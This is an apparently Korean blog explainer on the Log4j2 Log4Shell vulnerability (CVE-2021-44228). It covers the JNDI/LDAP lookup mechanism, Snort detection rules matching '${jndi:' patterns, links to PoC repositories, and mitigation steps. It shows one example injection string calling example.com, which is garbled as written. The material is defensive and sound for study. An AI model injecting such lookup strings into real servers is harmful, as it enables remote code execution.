[CVE-2021-44228] Log4j2 취약점
https://n.news.naver.com/mnews/article/215/0001002941?sid=105
"모든 서버 위험"…치명적 보안 취약점 발견 '업계 발칵'
인터넷 서버에서 광범위하게 사용되는 소프트웨어에 치명적 보안 취약점이 발견되면서 전 세계 사이버 보안 업계가 발칵 뒤집혔다. 10일(현지시간) AP통신에 따르면, 문제가 지적된 소프트웨어
n.news.naver.com
Log4j
Log4j란 자바기반 로깅 유틸리티이며 아파치에서 만든 오픈소스 라이브러리이다.
CVE-2021-44228
Apache Log4j2 <=2.14.1 구성, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체가 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다. log4j 2.15.0부터 이 동작은 기본적으로 비활성화되어 있습니다. 이전 릴리스(>2.10)에서는 시스템 속성 "log4j2.formatMsgNoLookups"를 “true”로 설정하여 이 동작을 완화할 수 있습니다. 또는 클래스 경로에서 JndiLookup 클래스를 제거하여 이전 릴리스(<2.10)에서 완화할 수 있습니다(예: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ).
1. 취약점 원리
JNDI(Java Naming and Directory Interface) : Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
LDAP(Lightweight Directory Access Protocol) : X.500 디렉토리 서비스를 위한 DAP(Directory Access Protocol)의 일종이다. DAP 는 OSI 프로토콜 스택에서 작동되고 , 컴퓨팅 자원을 많이 사용하는 무거운 프로토콜이라는 단점이 있다. 이러한 문제점을 해결한것이 LDAP 이다. LDAP은 TCP/IP 에서 작동되며, 보다 저렴한 비용으로 DAP의 기능을 대부분 지원할 수 있다.
JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.
이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.
이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行
Apache Log4j 远程代码执行. Contribute to tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce development by creating an account on GitHub.
github.com
https://github.com/YfryTchsGD/Log4jAttackSurface
GitHub - YfryTchsGD/Log4jAttackSurface
Contribute to YfryTchsGD/Log4jAttackSurface development by creating an account on GitHub.
github.com
2. Snort rule
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt1"; flow:to_server,established; content:"upper"; fast_pattern:only; http_client_body; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)upper(%(25)?3a|\\x3a)/Pi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58736; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt2"; flow:to_server,established; content:"lower"; fast_pattern:only; http_client_body; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)lower(%(25)?3a|\\x3a)/Pi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58735; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt3"; flow:to_server,established; content:"upper"; fast_pattern:only; http_header; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)upper(%(25)?3a|\\x3a)/Hi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58738; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt4"; flow:to_server,established; content:"lower"; fast_pattern:only; http_header; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)lower(%(25)?3a|\\x3a)/Hi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58739; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt5"; flow:to_server,established; content:"jndi"; fast_pattern:only; http_client_body; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)jndi(%(25)?3a|\\x3a)/Pi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58734; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt6"; flow:to_server,established; content:"jndi"; fast_pattern:only; http_header; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)jndi(%(25)?3a|\\x3a)/Hi"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58737; rev:1;)
alert tcp any any -> any any (msg:"SERVER-OTHER Apache Log4j logging remote code execution attempt7"; flow:to_server,established; content:"upper"; fast_pattern:only; content:"upper"; nocase; http_cookie; pcre:"/(%(25)?24|\\x24)(%(25)?7b|\\x7b)upper(%(25)?3a|\\x3a)/Ci"; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2021-44228; classtype:attempted-user; sid:58732; rev:3;)
alert tcp any any -> any any (msg:"[Vuln]Apache_Log4j_JNDI_RCE_Response_211211"; pcre:"/https?\x3a\x2f\x2f.+ javaNamingReference/i"; sid:266; reference:url,https://github.com/tangxiaofeng7/apache-log4j-poc;)
alert tcp any any -> any any (msg:"[Vuln]Apache_Log4j_JNDI_LDAP_RCE_211210"; content:"|24 7b|jndi|3a|ldap|3a|"; nocase; sid:265; reference:url,https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
alert tcp any any -> any any (msg:"[Vuln]Apache_Log4j_JNDI_LDAP_RCE_211210-2"; content:"|24 7b|jndi|3a|ldap|3a|"; nocase; sid:267; reference:url,https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
3. Waf rule
https://twitter.com/1ZRR4H/status/1469352090355089410?s=20
Apache Log4j2 Issue (CVE-2021-44228) https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/
Apache Log4j2 Security Bulletin (CVE-2021-44228)
Initial Publication Date: 2021/12/10 7:20 PM PDT AWS is aware of the recently disclosed security issue relating to the open-source Apache “Log4j2" utility (CVE-2021-44228). We are actively monitoring this issue, and are working on addressing it for any A
aws.amazon.com
Simulating and Preventing CVE-2021-44228 Apache Log4j RCE Exploits
Picus platform is updated for attacks that exploit CVE-2021-44228 Remote Code Execution (RCE) vulnerability affecting Apache Log4j Java logging library.
www.picussecurity.com
A 인터넷 보호나라&KrCERTwww.boho.or.kr
4. 서버 대응 방법
https://logging.apache.org/log4j/2.x/download.html
Log4j – Download Apache Log4j 2
<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa
logging.apache.org
1. Log4j 2.15.0 버전으로 업데이트
2. -Dlog4j.formatMsgNoLookups=true -log4j2.formatMsgNoLookups=true
룩업 디저블 시키고 서비스 재시작
3. - JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
o 2.0-beta9 ~ 2.10.0
- JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
o 2.10 ~ 2.14.1
- log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
o 2.7 ~ 2.14.1
- 로그 출력 시 %m 대신 %m{nolookups} 포맷으로 수정 (patternLayout 패턴 수정)
o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용 권고
Kisa 보안공지
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
KISA 인터넷 보호나라&KrCERT
KISA 인터넷 보호나라&KrCERT
www.boho.or.kr
뉴질랜드 정부가 발표한 대응방법
https://www.cert.govt.nz/it-specialists/advisories/log4j-rce-0-day-actively-exploited/
Log4j RCE 0-day actively exploited | CERT NZ
An unauthenticated RCE vulnerability in the commonly used Log4j java library is being actively exploited.
www.cert.govt.nz
Log4j 취약점 점검 도구 무료 배포 (labrado)
https://youtu.be/CvkUPvIMM7o